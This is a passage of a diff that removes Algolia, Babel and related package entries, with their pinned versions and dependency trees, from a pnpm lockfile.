- '@algolia/cache-common': 4.24.0
- '@algolia/cache-in-memory': 4.24.0
- '@algolia/client-common': 4.24.0
- '@algolia/client-search': 4.24.0
- '@algolia/logger-common': 4.24.0
- '@algolia/logger-console': 4.24.0
- '@algolia/requester-browser-xhr': 4.24.0
- '@algolia/requester-common': 4.24.0
- '@algolia/requester-node-http': 4.24.0
- '@algolia/transporter': 4.24.0
-
- '@algolia/requester-browser-xhr@4.24.0':
- dependencies:
- '@algolia/requester-common': 4.24.0
-
- '@algolia/requester-common@4.24.0': {}
-
- '@algolia/requester-node-http@4.24.0':
- dependencies:
- '@algolia/requester-common': 4.24.0
-
- '@algolia/transporter@4.24.0':
- dependencies:
- '@algolia/cache-common': 4.24.0
- '@algolia/logger-common': 4.24.0
- '@algolia/requester-common': 4.24.0
-
- '@ampproject/remapping@2.3.0':
- dependencies:
- '@jridgewell/gen-mapping': 0.3.5
- '@jridgewell/trace-mapping': 0.3.25
-
- '@apideck/better-ajv-errors@0.3.6(ajv@8.17.1)':
- dependencies:
- ajv: 8.17.1
- json-schema: 0.4.0
- jsonpointer: 5.0.1
- leven: 3.1.0
-
- '@babel/code-frame@7.24.7':
- dependencies:
- '@babel/highlight': 7.24.7
- picocolors: 1.0.1
-
- '@babel/compat-data@7.24.9': {}
-
- '@babel/core@7.24.9':
- dependencies:
- '@ampproject/remapping': 2.3.0
- '@babel/code-frame': 7.24.7
- '@babel/generator': 7.24.10
- '@babel/helper-compilation-targets': 7.24.8
- '@babel/helper-module-transforms': 7.24.9(@babel/core@7.24.9)
- '@babel/helpers': 7.24.8
- '@babel/parser': 7.24.8
- '@babel/template': 7.24.7
- '@babel/traverse': 7.24.8
- '@babel/types': 7.24.9
- convert-source-map: 2.0.0
- debug: 4.3.5
- gensync: 1.0.0-beta.2
- json5: 2.2.3
- semver: 6.3.1
- transitivePeerDependencies:
- - supports-color
-
- '@babel/generator@7.24.10':
- dependencies:
- '@babel/types': 7.24.9
- '@jridgewell/gen-mapping': 0.3.5
- '@jridgewell/trace-mapping': 0.3.25
- jsesc: 2.5.2
-
- '@babel/helper-annotate-as-pure@7.24.7':
- dependencies:
- '@babel/types': 7.24.9
-
- '@babel/helper-builder-binary-assignment-operator-visitor@7.24.7':
- dependencies:
- '@babel/traverse': 7.24.8
- '@babel/types': 7.24.9
- transitivePeerDependencies:
- - supports-color
-
- '@babel/helper-compilation-targets@7.24.8':
- dependencies:
- '@babel/compat-data': 7.24.9
- '@babel/helper-validator-option': 7.24.8
- browserslist: 4.23.2
- lru-cache: 5.1.1
- semver: 6.3.1
-
- '@babel/helper-create-class-features-plugin@7.24.8(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-annotate-as-pure': 7.24.7
- '@babel/helper-environment-visitor': 7.24.7
- '@babel/helper-function-name': 7.24.7
- '@babel/helper-member-expression-to-functions': 7.24.8
- '@babel/helper-optimise-call-expression': 7.24.7
- '@babel/helper-replace-supers': 7.24.7(@babel/core@7.24.9)
- '@babel/helper-skip-transparent-expression-wrappers': 7.24.7
- '@babel/helper-split-export-declaration': 7.24.7
- semver: 6.3.1
- transitivePeerDependencies:
- - supports-color
-
- '@babel/helper-create-regexp-features-plugin@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-annotate-as-pure': 7.24.7
- regexpu-core: 5.3.2
- semver: 6.3.1
-
- '@babel/helper-define-polyfill-provider@0.6.2(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-compilation-targets': 7.24.8
- '@babel/helper-plugin-utils': 7.24.8
- debug: 4.3.5
- lodash.debounce: 4.0.8
- resolve: 1.22.8
- transitivePeerDependencies:
- - supports-color
-
- '@babel/helper-environment-visitor@7.24.7':
- dependencies:
- '@babel/types': 7.24.9
-
- '@babel/helper-function-name@7.24.7':
- dependencies:
- '@babel/template': 7.24.7
- '@babel/types': 7.24.9
-
- '@babel/helper-hoist-variables@7.24.7':
- dependencies:
- '@babel/types': 7.24.9
-
- '@babel/helper-member-expression-to-functions@7.24.8':
- dependencies:
- '@babel/traverse': 7.24.8
- '@babel/types': 7.24.9
- transitivePeerDependencies:
- - supports-color
-
- '@babel/helper-module-imports@7.24.7':
- dependencies:
- '@babel/traverse': 7.24.8
- '@babel/types': 7.24.9
- transitivePeerDependencies:
- - supports-color
-
- '@babel/helper-module-transforms@7.24.9(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-environment-visitor': 7.24.7
- '@babel/helper-module-imports': 7.24.7
- '@babel/helper-simple-access': 7.24.7
- '@babel/helper-split-export-declaration': 7.24.7
- '@babel/helper-validator-identifier': 7.24.7
- transitivePeerDependencies:
- - supports-color
-
- '@babel/helper-optimise-call-expression@7.24.7':
- dependencies:
- '@babel/types': 7.24.9
-
- '@babel/helper-plugin-utils@7.24.8': {}
-
- '@babel/helper-remap-async-to-generator@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-annotate-as-pure': 7.24.7
- '@babel/helper-environment-visitor': 7.24.7
- '@babel/helper-wrap-function': 7.24.7
- transitivePeerDependencies:
- - supports-color
-
- '@babel/helper-replace-supers@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-environment-visitor': 7.24.7
- '@babel/helper-member-expression-to-functions': 7.24.8
- '@babel/helper-optimise-call-expression': 7.24.7
- transitivePeerDependencies:
- - supports-color
-
- '@babel/helper-simple-access@7.24.7':
- dependencies:
- '@babel/traverse': 7.24.8
- '@babel/types': 7.24.9
- transitivePeerDependencies:
- - supports-color
-
- '@babel/helper-skip-transparent-expression-wrappers@7.24.7':
- dependencies:
- '@babel/traverse': 7.24.8
- '@babel/types': 7.24.9
- transitivePeerDependencies:
- - supports-color
-
- '@babel/helper-split-export-declaration@7.24.7':
- dependencies:
- '@babel/types': 7.24.9
-
- '@babel/helper-string-parser@7.24.8': {}
-
- '@babel/helper-validator-identifier@7.24.7': {}
-
- '@babel/helper-validator-option@7.24.8': {}
-
- '@babel/helper-wrap-function@7.24.7':
- dependencies:
- '@babel/helper-function-name': 7.24.7
- '@babel/template': 7.24.7
- '@babel/traverse': 7.24.8
- '@babel/types': 7.24.9
- transitivePeerDependencies:
- - supports-color
-
- '@babel/helpers@7.24.8':
- dependencies:
- '@babel/template': 7.24.7
- '@babel/types': 7.24.9
-
- '@babel/highlight@7.24.7':
- dependencies:
- '@babel/helper-validator-identifier': 7.24.7
- chalk: 2.4.2
- js-tokens: 4.0.0
- picocolors: 1.0.1
-
- '@babel/parser@7.24.8':
- dependencies:
- '@babel/types': 7.24.9
-
- '@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-environment-visitor': 7.24.7
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/helper-skip-transparent-expression-wrappers': 7.24.7
- '@babel/plugin-transform-optional-chaining': 7.24.8(@babel/core@7.24.9)
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-environment-visitor': 7.24.7
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
-
- '@babel/plugin-syntax-async-generators@7.8.4(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-class-properties@7.12.13(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-class-static-block@7.14.5(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-dynamic-import@7.8.3(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-export-namespace-from@7.8.3(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-import-assertions@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-import-attributes@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-import-meta@7.10.4(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-json-strings@7.8.3(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-logical-assignment-operators@7.10.4(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-nullish-coalescing-operator@7.8.3(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-numeric-separator@7.10.4(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-object-rest-spread@7.8.3(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-optional-catch-binding@7.8.3(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-optional-chaining@7.8.3(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-private-property-in-object@7.14.5(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-top-level-await@7.14.5(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-syntax-unicode-sets-regex@7.18.6(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-create-regexp-features-plugin': 7.24.7(@babel/core@7.24.9)
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-arrow-functions@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-async-generator-functions@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-environment-visitor': 7.24.7
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/helper-remap-async-to-generator': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-syntax-async-generators': 7.8.4(@babel/core@7.24.9)
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-async-to-generator@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-module-imports': 7.24.7
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/helper-remap-async-to-generator': 7.24.7(@babel/core@7.24.9)
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-block-scoped-functions@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-block-scoping@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-class-properties@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-create-class-features-plugin': 7.24.8(@babel/core@7.24.9)
- '@babel/helper-plugin-utils': 7.24.8
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-class-static-block@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-create-class-features-plugin': 7.24.8(@babel/core@7.24.9)
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/plugin-syntax-class-static-block': 7.14.5(@babel/core@7.24.9)
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-classes@7.24.8(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-annotate-as-pure': 7.24.7
- '@babel/helper-compilation-targets': 7.24.8
- '@babel/helper-environment-visitor': 7.24.7
- '@babel/helper-function-name': 7.24.7
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/helper-replace-supers': 7.24.7(@babel/core@7.24.9)
- '@babel/helper-split-export-declaration': 7.24.7
- globals: 11.12.0
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-computed-properties@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/template': 7.24.7
-
- '@babel/plugin-transform-destructuring@7.24.8(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-dotall-regex@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-create-regexp-features-plugin': 7.24.7(@babel/core@7.24.9)
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-duplicate-keys@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-dynamic-import@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/plugin-syntax-dynamic-import': 7.8.3(@babel/core@7.24.9)
-
- '@babel/plugin-transform-exponentiation-operator@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-builder-binary-assignment-operator-visitor': 7.24.7
- '@babel/helper-plugin-utils': 7.24.8
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-export-namespace-from@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/plugin-syntax-export-namespace-from': 7.8.3(@babel/core@7.24.9)
-
- '@babel/plugin-transform-for-of@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/helper-skip-transparent-expression-wrappers': 7.24.7
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-function-name@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-compilation-targets': 7.24.8
- '@babel/helper-function-name': 7.24.7
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-json-strings@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/plugin-syntax-json-strings': 7.8.3(@babel/core@7.24.9)
-
- '@babel/plugin-transform-literals@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-logical-assignment-operators@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/plugin-syntax-logical-assignment-operators': 7.10.4(@babel/core@7.24.9)
-
- '@babel/plugin-transform-member-expression-literals@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-modules-amd@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-module-transforms': 7.24.9(@babel/core@7.24.9)
- '@babel/helper-plugin-utils': 7.24.8
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-modules-commonjs@7.24.8(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-module-transforms': 7.24.9(@babel/core@7.24.9)
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/helper-simple-access': 7.24.7
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-modules-systemjs@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-hoist-variables': 7.24.7
- '@babel/helper-module-transforms': 7.24.9(@babel/core@7.24.9)
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/helper-validator-identifier': 7.24.7
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-modules-umd@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-module-transforms': 7.24.9(@babel/core@7.24.9)
- '@babel/helper-plugin-utils': 7.24.8
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-named-capturing-groups-regex@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-create-regexp-features-plugin': 7.24.7(@babel/core@7.24.9)
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-new-target@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-nullish-coalescing-operator@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/plugin-syntax-nullish-coalescing-operator': 7.8.3(@babel/core@7.24.9)
-
- '@babel/plugin-transform-numeric-separator@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/plugin-syntax-numeric-separator': 7.10.4(@babel/core@7.24.9)
-
- '@babel/plugin-transform-object-rest-spread@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-compilation-targets': 7.24.8
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/plugin-syntax-object-rest-spread': 7.8.3(@babel/core@7.24.9)
- '@babel/plugin-transform-parameters': 7.24.7(@babel/core@7.24.9)
-
- '@babel/plugin-transform-object-super@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/helper-replace-supers': 7.24.7(@babel/core@7.24.9)
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-optional-catch-binding@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/plugin-syntax-optional-catch-binding': 7.8.3(@babel/core@7.24.9)
-
- '@babel/plugin-transform-optional-chaining@7.24.8(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/helper-skip-transparent-expression-wrappers': 7.24.7
- '@babel/plugin-syntax-optional-chaining': 7.8.3(@babel/core@7.24.9)
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-parameters@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-private-methods@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-create-class-features-plugin': 7.24.8(@babel/core@7.24.9)
- '@babel/helper-plugin-utils': 7.24.8
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-private-property-in-object@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-annotate-as-pure': 7.24.7
- '@babel/helper-create-class-features-plugin': 7.24.8(@babel/core@7.24.9)
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/plugin-syntax-private-property-in-object': 7.14.5(@babel/core@7.24.9)
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-property-literals@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-regenerator@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- regenerator-transform: 0.15.2
-
- '@babel/plugin-transform-reserved-words@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-shorthand-properties@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-spread@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/helper-skip-transparent-expression-wrappers': 7.24.7
- transitivePeerDependencies:
- - supports-color
-
- '@babel/plugin-transform-sticky-regex@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-template-literals@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-typeof-symbol@7.24.8(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-unicode-escapes@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-unicode-property-regex@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-create-regexp-features-plugin': 7.24.7(@babel/core@7.24.9)
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-unicode-regex@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-create-regexp-features-plugin': 7.24.7(@babel/core@7.24.9)
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/plugin-transform-unicode-sets-regex@7.24.7(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-create-regexp-features-plugin': 7.24.7(@babel/core@7.24.9)
- '@babel/helper-plugin-utils': 7.24.8
-
- '@babel/preset-env@7.24.8(@babel/core@7.24.9)':
- dependencies:
- '@babel/compat-data': 7.24.9
- '@babel/core': 7.24.9
- '@babel/helper-compilation-targets': 7.24.8
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/helper-validator-option': 7.24.8
- '@babel/plugin-bugfix-firefox-class-in-computed-class-key': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-proposal-private-property-in-object': 7.21.0-placeholder-for-preset-env.2(@babel/core@7.24.9)
- '@babel/plugin-syntax-async-generators': 7.8.4(@babel/core@7.24.9)
- '@babel/plugin-syntax-class-properties': 7.12.13(@babel/core@7.24.9)
- '@babel/plugin-syntax-class-static-block': 7.14.5(@babel/core@7.24.9)
- '@babel/plugin-syntax-dynamic-import': 7.8.3(@babel/core@7.24.9)
- '@babel/plugin-syntax-export-namespace-from': 7.8.3(@babel/core@7.24.9)
- '@babel/plugin-syntax-import-assertions': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-syntax-import-attributes': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-syntax-import-meta': 7.10.4(@babel/core@7.24.9)
- '@babel/plugin-syntax-json-strings': 7.8.3(@babel/core@7.24.9)
- '@babel/plugin-syntax-logical-assignment-operators': 7.10.4(@babel/core@7.24.9)
- '@babel/plugin-syntax-nullish-coalescing-operator': 7.8.3(@babel/core@7.24.9)
- '@babel/plugin-syntax-numeric-separator': 7.10.4(@babel/core@7.24.9)
- '@babel/plugin-syntax-object-rest-spread': 7.8.3(@babel/core@7.24.9)
- '@babel/plugin-syntax-optional-catch-binding': 7.8.3(@babel/core@7.24.9)
- '@babel/plugin-syntax-optional-chaining': 7.8.3(@babel/core@7.24.9)
- '@babel/plugin-syntax-private-property-in-object': 7.14.5(@babel/core@7.24.9)
- '@babel/plugin-syntax-top-level-await': 7.14.5(@babel/core@7.24.9)
- '@babel/plugin-syntax-unicode-sets-regex': 7.18.6(@babel/core@7.24.9)
- '@babel/plugin-transform-arrow-functions': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-async-generator-functions': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-async-to-generator': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-block-scoped-functions': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-block-scoping': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-class-properties': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-class-static-block': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-classes': 7.24.8(@babel/core@7.24.9)
- '@babel/plugin-transform-computed-properties': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-destructuring': 7.24.8(@babel/core@7.24.9)
- '@babel/plugin-transform-dotall-regex': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-duplicate-keys': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-dynamic-import': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-exponentiation-operator': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-export-namespace-from': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-for-of': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-function-name': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-json-strings': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-literals': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-logical-assignment-operators': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-member-expression-literals': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-modules-amd': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-modules-commonjs': 7.24.8(@babel/core@7.24.9)
- '@babel/plugin-transform-modules-systemjs': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-modules-umd': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-named-capturing-groups-regex': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-new-target': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-nullish-coalescing-operator': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-numeric-separator': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-object-rest-spread': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-object-super': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-optional-catch-binding': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-optional-chaining': 7.24.8(@babel/core@7.24.9)
- '@babel/plugin-transform-parameters': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-private-methods': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-private-property-in-object': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-property-literals': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-regenerator': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-reserved-words': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-shorthand-properties': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-spread': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-sticky-regex': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-template-literals': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-typeof-symbol': 7.24.8(@babel/core@7.24.9)
- '@babel/plugin-transform-unicode-escapes': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-unicode-property-regex': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-unicode-regex': 7.24.7(@babel/core@7.24.9)
- '@babel/plugin-transform-unicode-sets-regex': 7.24.7(@babel/core@7.24.9)
- '@babel/preset-modules': 0.1.6-no-external-plugins(@babel/core@7.24.9)
- babel-plugin-polyfill-corejs2: 0.4.11(@babel/core@7.24.9)
- babel-plugin-polyfill-corejs3: 0.10.4(@babel/core@7.24.9)
- babel-plugin-polyfill-regenerator: 0.6.2(@babel/core@7.24.9)
